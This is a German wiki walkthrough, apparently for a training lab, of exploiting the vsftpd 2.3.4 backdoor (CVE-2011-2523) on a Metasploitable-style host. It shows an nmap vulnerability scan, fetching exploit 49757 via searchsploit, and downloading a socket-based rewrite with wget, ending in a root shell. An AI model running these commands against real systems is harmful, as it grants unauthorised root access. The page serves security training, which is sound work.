Vsftp4-angriff
Version vom 18. Mai 2025, 16:39 Uhr von Thomas.will (Diskussion | Beiträge)
Angreifer: vsftpd 2.3.4 Backdoor
Scan mit Nmap
- nmap -sV --script vuln 10.0.10.105 -p 21
PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 | ftp-vsftpd-backdoor: | VULNERABLE: | vsFTPd version 2.3.4 backdoor | State: VULNERABLE (Exploitable) | IDs: BID:48539 CVE:CVE-2011-2523 | Shell command: id | Results: uid=0(root) gid=0(root) | Disclosure date: 2011-07-03 | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523 | https://www.exploit-db.com/exploits/49757 |_ http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
Zwei Möglichkeiten zur Exploit-Beschaffung
1. Mit searchsploit
- searchsploit vsftpd 2.3.4
- searchsploit -m unix/remote/49757.py
2. Manuell suchen
- Nach Exploit googeln
- CVE-2011-2523 exploit-db
- https://www.exploit-db.com/exploits/49757
Exploit ausführen
Option 1: Original (telnetlib, veraltet)
- python3 49757.py 10.0.10.105
→ Bei aktuellen Systemen schlägt dies fehl wegen fehlendem `telnetlib`:
ModuleNotFoundError: No module named 'telnetlib'
Option 2: Alternative mit socket
Wir geben aber nicht auf :-)
- Man ersetzt `telnetlib` durch `socket`
- Vordefinierte Version:
wget https://xinux.de/downloads/python/49757-socket.py python3 49757-socket.py 10.0.10.105
→ Ausgabe:
[+] FTP Banner: 220 (vsFTPd 2.3.4) [+] Success! Connected to shell on port 6200. [*] Type commands, Ctrl+C to exit. shell> id uid=0(root) gid=0(root)
Hinweis
Dieser Backdoor funktioniert nur bei ganz bestimmten Backdoored-Builds aus 2011. → Auf modernen Systemen **funktioniert er nicht mehr** – aber in Schulungsumgebungen (z. B. Metasploitable) ist er zuverlässig ausnutzbar.